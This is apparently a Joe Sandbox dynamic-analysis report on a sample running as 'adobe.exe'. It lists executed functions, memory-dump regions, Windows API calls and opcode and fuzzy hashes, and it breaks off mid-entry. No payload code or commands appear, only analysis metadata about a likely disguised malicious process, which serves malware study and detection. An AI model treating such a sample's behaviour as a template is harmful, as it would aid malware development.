String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 95917d143748ab648f4db4cc8017c10d9c15f60ca89889aecc14b698282d2524
Instruction ID: 8cbbefa0322a369746b386dae769f82d3db0cf06d3a283f17ad3eb41862883c9
Opcode Fuzzy Hash: 95917d143748ab648f4db4cc8017c10d9c15f60ca89889aecc14b698282d2524
Instruction Fuzzy Hash: 1B51A230A102258FCFA9EB64D980AADB3F6EF85340F248529E945EB354DB35DC41CB91

Analysis Process: adobe.exePID: 5560, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	4

Executed Functions

Function 0288AE50 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0288B0B6

Strings

$O, xrefs: 0288AFEE
$O, xrefs: 0288B013

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: HandleModule
String ID: $O$$O
API String ID: 4139908857-2259736977
Opcode ID: eb79cba83785724944db19c5b3449e6741d940b17b4e1f4b1a3894b0e53475a2
Instruction ID: b14b1dfc79bcba7ae83ae1a6b5d6b48cc0872ada081e5ec1d0bc4cb90526cd66
Opcode Fuzzy Hash: eb79cba83785724944db19c5b3449e6741d940b17b4e1f4b1a3894b0e53475a2
Instruction Fuzzy Hash: EA8145B8A00B458FD728EF29D54075ABBF1FF88304F00892AD49AD7A90D774E849CB95

Function 0288590D Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028859C9

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 173ef21437994d489e00fd3389acd98ac4edf7d8dde287cb7792f8167abd8a87
Instruction ID: 03aaef3188e22797f5c360e92d46dc8335aec47dbd43c17f38d47a9b59383f8d
Opcode Fuzzy Hash: 173ef21437994d489e00fd3389acd98ac4edf7d8dde287cb7792f8167abd8a87
Instruction Fuzzy Hash: 5241F2B4C00619CFDB24DFA9C884B9DBBB5BF49704F60806AD408AB255DB75694ACF90

Function 02884248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028859C9

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8c89efaf60a662095b0a3946cf5dada0a5d5c801a4757bb2febd475f63ac48e5
Instruction ID: f5c4ada8b070f366356bca696482e4f3117223cca7cdbbd2df386f8ce0133db8
Opcode Fuzzy Hash: 8c89efaf60a662095b0a3946cf5dada0a5d5c801a4757bb2febd475f63ac48e5
Instruction Fuzzy Hash: 3241D1B4C0061DCBDB24DFA9C884B9DBBB5FF49308F60806AD408AB255DB75694ACF90

Function 0288D458 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0288D426,?,?,?,?,?), ref: 0288D4E7

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 939f98cb5bbf615d3c0b459fa15d6832c05d6e82ae02374e78f1e3d9c017c979
Instruction ID: a3ec6a409958553728eb937a059ef42853ad666330ec5c8a7f35f7dd156066ea
Opcode Fuzzy Hash: 939f98cb5bbf615d3c0b459fa15d6832c05d6e82ae02374e78f1e3d9c017c979
Instruction Fuzzy Hash: F53168B98002499FDB10CFAAD584BDEFFF4EF49320F14805AE918A7250C378A941CFA0

Function 0288B4C0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0288D426,?,?,?,?,?), ref: 0288D4E7

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8cf2164ccf32abbca807486268a59cf1f9085a6f4f16412f2ad95b3008e2efe0
Instruction ID: 65a7c66ed50ff6529cfe9a5d8a7c7ce5d9526b156cdb81aa3eb0909b9c1141d7
Opcode Fuzzy Hash: 8cf2164ccf32abbca807486268a59cf1f9085a6f4f16412f2ad95b3008e2efe0
Instruction Fuzzy Hash: 5821E6B5900208AFDB10DFAAD584AEEBBF4FB48314F14841AE918A3350D378A954CFA4

Function 04F76B08 Relevance: 1.5, APIs: 1, Instructions: 47
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04F7923D

Memory Dump Source

Source File: 00000008.00000002.2243054395.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f70000_adobe.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e675a49ff36e2a0700b7c4b9c91cb60eaf1ff405f435f43778b3a9947b250c03
Instruction ID: dd33902a7598d61a592eeffc7e7c0a03f451a6e93653d7b4fd08218293d316e4
Opcode Fuzzy Hash: e675a49ff36e2a0700b7c4b9c91cb60eaf1ff405f435f43778b3a9947b250c03
Instruction Fuzzy Hash: 861106B5804348DFEB10DF99D445BDEBBF8FB49310F10845AE518A7200C3B9A944CFA5

Function 0288B050 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0288B0B6

Memory Dump Source

Source File: 00000008.00000002.2240729304.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2880000_adobe.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a3f7898e907b0c0cc0d9d4d018ef12de44a1a307d8a10651550718976352b75d
Instruction ID: e9e33b353f89b3641dc895e9d965b1e0222e6f87c12b1c4107d7e049e1a1decc
Opcode Fuzzy Hash: a3f7898e907b0c0cc0d9d4d018ef12de44a1a307d8a10651550718976352b75d
Instruction Fuzzy Hash: 0F11DFB9C007498FDB20DF9AC444A9EFBF4EF89224F10845AD529A7210C379A549CFA5

Function 04F791DF Relevance: 1.5, APIs: 1, Instructions: 44
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04F7923D

Memory Dump Source

Source File: 00000008.00000002.2243054395.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_4f70000_adobe.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7c74e928272f21bb9b2f3bcbac926b0c1eaf548c3c5eda51a6099a1bb1ad46a9
Instruction ID: 7c4a79d006e53f1b933dd12f1c25074b644ae9beae64f608b353eec897a7d409
Opcode Fuzzy Hash: 7c74e928272f21bb9b2f3bcbac926b0c1eaf548c3c5eda51a6099a1bb1ad46a9
Instruction Fuzzy Hash: 2611D0B58002499FDB10DF9AD485BDEBBF8EB49320F20845AE518A7200C379A945CFA1

Function 00B1D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238535892.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4718c51ea9391b7181c51106ed75143171dca9ddd2e6519593ddf9878419bf2f
Instruction ID: 17e9bd6d9228aa2a2e57f67f2d951c8f4fb83053f9833f348a8bafd4ef94f115
Opcode Fuzzy Hash: 4718c51ea9391b7181c51106ed75143171dca9ddd2e6519593ddf9878419bf2f
Instruction Fuzzy Hash: 3A213A71500204DFDB05DF14D9C0F56BFA5FB98314F60C5A9E9090B356C33AE896D7A2

Function 00B1D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238535892.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c910171c20409a78fb89890109778dfd3b246474b0118e28dc686503329fe5
Instruction ID: b9043be20c103a928d2f259e358cd492eaf26f0e91344fc90136115678561475
Opcode Fuzzy Hash: d3c910171c20409a78fb89890109778dfd3b246474b0118e28dc686503329fe5
Instruction Fuzzy Hash: A3213471500240DFDB15DF14D9C0F66BFA6FBA8318F60C5A9E9090B256C33AD896DBB2

Function 00E0D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240122366.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad8eba4030ff1ceef2b9280eaa835b05095ba6b813a69ad368b1c49545f03cee
Instruction ID: 845d7ddb80b441fce15e9cf83ebaf8f893378956ff9ef6549fb073144c91a875
Opcode Fuzzy Hash: ad8eba4030ff1ceef2b9280eaa835b05095ba6b813a69ad368b1c49545f03cee
Instruction Fuzzy Hash: EC212271608200DFCB14DF64D980B26BF66FB88318F20C569D84E5B296C33AD887CB62

Function 00E0D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240122366.0000000000E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_e0d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a37123b7b4255b60a15e701cfcab6f5950fa700fc61e4ebdb390f24398de62
Instruction ID: 0bd6add6334a8fb5f97a11a1c02f2cd266b29e3da6904cdf6da137bf86ee697a
Opcode Fuzzy Hash: e2a37123b7b4255b60a15e701cfcab6f5950fa700fc61e4ebdb390f24398de62
Instruction Fuzzy Hash: 5B21837550D3808FC702CF24D994715BF71EB46314F28C5DAD8498B6A7C33A984ACB62

Function 00B1D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238535892.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: e568307c233cd5a6929b25392f6c6ef876908c740f2999364683449133d8c74c
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 97110372504240CFCB16CF00D5C4B56BFB1FB98324F24C6A9D9090B356C33AE85ACBA2

Function 00B1D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2238535892.0000000000B1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b1d000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 9bdc1c9caf17d8ea49a38860db2dd98900a5ac37010fcf288a41bb4d99e9896c
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: E511D376504280CFCB16CF14D5C4B56BFB2FBA8314F24C6A9D9490B656C336D85ACBA2

Analysis Process: adobe.exePID: 6292, Parent PID: 5560COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	4

Executed Functions

Function 067534A8 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06753BDC
$]q, xrefs: 06753BB3
$]q, xrefs: 06753BD0
$]q, xrefs: 06753BA7
$]q, xrefs: 06753C00
$]q, xrefs: 06753BF4

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: be89287ec64486109fd5b6283b35c88892e53fd2870113645676e380cba50dfa
Instruction ID: 4e3ccf2bef8de8b71602b14b85242778ac3e7325c0b8d669bbd2ef11c7a8490a
Opcode Fuzzy Hash: be89287ec64486109fd5b6283b35c88892e53fd2870113645676e380cba50dfa
Instruction Fuzzy Hash: 34322E31E10619CFCB15EF79C89499DB7B2FF89300F11C6AAD449A7264EF70A985CB90

Function 06757DC8 Relevance: 3.0, Strings: 2, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06758111
$]q, xrefs: 06758105

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: bde5aeb9e2614fc5d343cfe8aa3c7173fe682d2d5895414b42bea00f223c91b9
Instruction ID: 386ca5328e33fe29b49fd6d5da309280d683df33b3200d80dcabe499569306fd
Opcode Fuzzy Hash: bde5aeb9e2614fc5d343cfe8aa3c7173fe682d2d5895414b42bea00f223c91b9
Instruction Fuzzy Hash: 8502AE30B002159FDB58DF68D490AAEB7E2FF84304F2585A9D809DB395DB75EC42CB92

Function 067555E8 Relevance: 1.8, Strings: 1, Instructions: 594
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06755939

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 7a9607328d592cbba66aff0028debaf6b92957fa488ace3986d70a3631251c84
Instruction ID: ac5503821b0095681da8b951475cf4f144d72c9edea1336c0ad5ee3d8c0adf16
Opcode Fuzzy Hash: 7a9607328d592cbba66aff0028debaf6b92957fa488ace3986d70a3631251c84
Instruction Fuzzy Hash: A722D231E002199FEF60DFA4C4806AEB7B2EF85320F2585A9D849AB345DB75DD42CB91

Function 06752728 Relevance: 1.0, Instructions: 1047COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1d4b1c00d439d43048a21a7593212d01d83ad42607d614805bbcadd60827eb1
Instruction ID: f519c3a6b817b15d154cba3edb6ebddf05413128dc5b75496c8b05ec374fb82f
Opcode Fuzzy Hash: b1d4b1c00d439d43048a21a7593212d01d83ad42607d614805bbcadd60827eb1
Instruction Fuzzy Hash: 25927A30E002048FDB64DB68C584AADB7F2FB45314F5684A9D859AB362EB75ED42CF80

Function 06756638 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1be814ebf0b5fa54ab54645fed2bb3bc23a26844d4ca2e1d6f5cd46e4843ef6
Instruction ID: 5f92d91ce4d433e843f6d5d39cb2b9885054be6859fbf221f07358913e42103e
Opcode Fuzzy Hash: a1be814ebf0b5fa54ab54645fed2bb3bc23a26844d4ca2e1d6f5cd46e4843ef6
Instruction Fuzzy Hash: 5162E134B002048FDB54DB68D584AADB7F2EF84314F6585A9E809EB3A5DB75EC42CB90

Function 0675C1D8 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e24506246503c9008a06f222d3d7badeaad245d355b2a3cb699b9aa3f3ea7a1c
Instruction ID: 67446048a8e6cb0037861f25c216fc89f451c816f172cc19dd83e3b69f543ff3
Opcode Fuzzy Hash: e24506246503c9008a06f222d3d7badeaad245d355b2a3cb699b9aa3f3ea7a1c
Instruction Fuzzy Hash: 5B32DF30B002098FDF55DF68D880BAEB7B6EB89310F1185A9E805E7395DB75EC46CB91

Function 0675B26F Relevance: .6, Instructions: 570COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81a4af8f87bf7e7cd4d2aa4aa37486ed36958a926751c390c3a41a48c00a0213
Instruction ID: d5f5205ec239112f32be7e0d8dcd3a14e2bf065e98fb2b35b603a6bf2954fd28
Opcode Fuzzy Hash: 81a4af8f87bf7e7cd4d2aa4aa37486ed36958a926751c390c3a41a48c00a0213
Instruction Fuzzy Hash: B422A330E002098FDF64DF68D4A07BDB7B6EB49710F2188A6E805DB395DA75DC81CBA1

Function 0675AD18 Relevance: 10.4, Strings: 8, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0675AE98
$]q, xrefs: 0675AE8C
$]q, xrefs: 0675AEBB
$]q, xrefs: 0675AEE4
$]q, xrefs: 0675AE39
$]q, xrefs: 0675AEF0
$]q, xrefs: 0675AEC7
$]q, xrefs: 0675AE45

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: d1e159f7d6bf8628421cff6deed0be3d90346546f54d53a1477b31f70cd2eb03
Instruction ID: af24fe2a7240cf22458e332ce838b60a384ed69cd658b8acc9ec90be7231c399
Opcode Fuzzy Hash: d1e159f7d6bf8628421cff6deed0be3d90346546f54d53a1477b31f70cd2eb03
Instruction Fuzzy Hash: D7E19130E102098FDB68DF68D4906AEB7B6EF85300F218679D809EB395DB75DC46CB91

Function 0675B6A0 Relevance: 8.0, Strings: 6, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0675BC59
$]q, xrefs: 0675BC25
$]q, xrefs: 0675BBFD
$]q, xrefs: 0675BC65
$]q, xrefs: 0675BC31
$]q, xrefs: 0675BBF1

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 75484d74c1b7de41988127e0cb725e6888c87deea19eac50e78c94cb2c832660
Instruction ID: ced95db8456a5506bbec9074c8e15f4b9d02ff7689072ad2282dd1a3f58740f2
Opcode Fuzzy Hash: 75484d74c1b7de41988127e0cb725e6888c87deea19eac50e78c94cb2c832660
Instruction Fuzzy Hash: 5A029E30E002098FDFA4DF68D4A06BDB7B2EF45700F2585A6D805EB255DBB5EC45CB91

Function 06759198 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0675921A
$]q, xrefs: 06759226
$]q, xrefs: 067591DF
$]q, xrefs: 067591EB

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 3188e0b9f9037e3ed28062299fe1f864fada6cc0c7860e89e0e3ff1c60958cd0
Instruction ID: 99e2dafa3596a39188137a74c150773c3c6740c852438c4624608f06bb25c43e
Opcode Fuzzy Hash: 3188e0b9f9037e3ed28062299fe1f864fada6cc0c7860e89e0e3ff1c60958cd0
Instruction Fuzzy Hash: CA916F31B0061A9FDB54DF75D850BAEB3F6EF84204F2085A9D90DEB348EA709D468B91

Function 0675CFA0 Relevance: 4.5, Strings: 3, Instructions: 799
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0675D397
$]q, xrefs: 0675D39F
$]q, xrefs: 0675D3AB

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 9957e59c4ba6084b2e7f6e3059a629308d72b4fdfe4751b647719de33ca32c89
Instruction ID: 39a2e19f9d789272a6f1dc990f602db8c38b37c7475475f5bbc78fd15c3131a7
Opcode Fuzzy Hash: 9957e59c4ba6084b2e7f6e3059a629308d72b4fdfe4751b647719de33ca32c89
Instruction Fuzzy Hash: 0462923060060A8FCB55EF68E580A5EB7F6FF85304F258AA9D4059F369DB75EC46CB80

Function 06754BB0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPbq, xrefs: 06754D01
fbq, xrefs: 06754BDB
\Obq, xrefs: 06754D8B

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 4704bb1678e94c0cb11ca9c968440364228daa2b248ed454353554e520f27917
Instruction ID: e7325c590b2647c75bac449ccea0b40ef252d51f67279d01e4364b08a9bbf738
Opcode Fuzzy Hash: 4704bb1678e94c0cb11ca9c968440364228daa2b248ed454353554e520f27917
Instruction Fuzzy Hash: 8E618230F002099FEB549FA9C8547AEBBF6FF89700F208469E506EB395DB758C418B95

Function 06759188 Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 0675921A
$]q, xrefs: 067591DF

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 70c1e24ee5ed5abcd5de14aab6d75a68ab077438842630b86952055cb8bc7cae
Instruction ID: 01a85a842aed1a194644893000dff9177c3dc2ba626e16bead81d47985e784f1
Opcode Fuzzy Hash: 70c1e24ee5ed5abcd5de14aab6d75a68ab077438842630b86952055cb8bc7cae
Instruction Fuzzy Hash: 76514E31B00505DFDB54DB78D890BAE73F6EB88604F1085A9D90DDB398EA71DC068B92

Function 06754BA0 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPbq, xrefs: 06754D01
fbq, xrefs: 06754BDB

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 062c366c01637271b4bd558bd44ce50d88c63b19919661a36fc61596d58457ec
Instruction ID: eff16be97aaa4733280f74e3b40ecef46c56b81b31def376a4b4ad17c3e96e20
Opcode Fuzzy Hash: 062c366c01637271b4bd558bd44ce50d88c63b19919661a36fc61596d58457ec
Instruction Fuzzy Hash: 74517430F002199FEB54DFA5C854BAEBBF6FF89700F208529E506AB395DA758C418B91

Function 00E0ED40 Relevance: 1.6, APIs: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.4485716651.0000000000E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e00000_adobe.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fcd8f3fac4b8b0c469b1bf1c4bce24c632e7c0b2df9748b0b3dea57e7dab027
Instruction ID: ba7cefe0c19f1710371c995e11798b26b146fdd22c1b72a4bc615ceb7af5a873
Opcode Fuzzy Hash: 1fcd8f3fac4b8b0c469b1bf1c4bce24c632e7c0b2df9748b0b3dea57e7dab027
Instruction Fuzzy Hash: C6412471E047498FC714DF79D8442EEBBF1EF89310F15866AD408A7291DB789886CBD1

Function 00E0EE28 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00E0EE8F

Memory Dump Source

Source File: 00000009.00000002.4485716651.0000000000E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_e00000_adobe.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: a101e664506230791293955a49fe81d54100fcbedbc34f2871252770297944bc
Instruction ID: be45ed1b8128d4529d3465bbab88ffd6fbe55769d02b6f56bca8f9b34b4d06ff
Opcode Fuzzy Hash: a101e664506230791293955a49fe81d54100fcbedbc34f2871252770297944bc
Instruction Fuzzy Hash: EC11EFB1C0065A9BCB10DFAAC544B9EFBF8AF48320F15856AD818B7240D778A944CFA5

Function 0675DB15 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0675DC71

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 98891d19d386ffec191c7933df3517966d9a877bef5923d8bb04a9991876bab7
Instruction ID: e972cf276e9bcc38063f88ea3c7cf73b987217f8c05f3d2eed0bca4108daf3c7
Opcode Fuzzy Hash: 98891d19d386ffec191c7933df3517966d9a877bef5923d8bb04a9991876bab7
Instruction Fuzzy Hash: 8841C030E0070ACFDB64DF64D8546AEBBB2FF85300F218569E805E7350EBB49946CB95

Function 067521ED Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0675233B

Memory Dump Source

Source File: 00000009.00000002.4499943228.0000000006750000.00000040.00000800.00020000.00000000.sdmp, Offset: 06750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6750000_adobe.jbxd

Similarity

API ID:
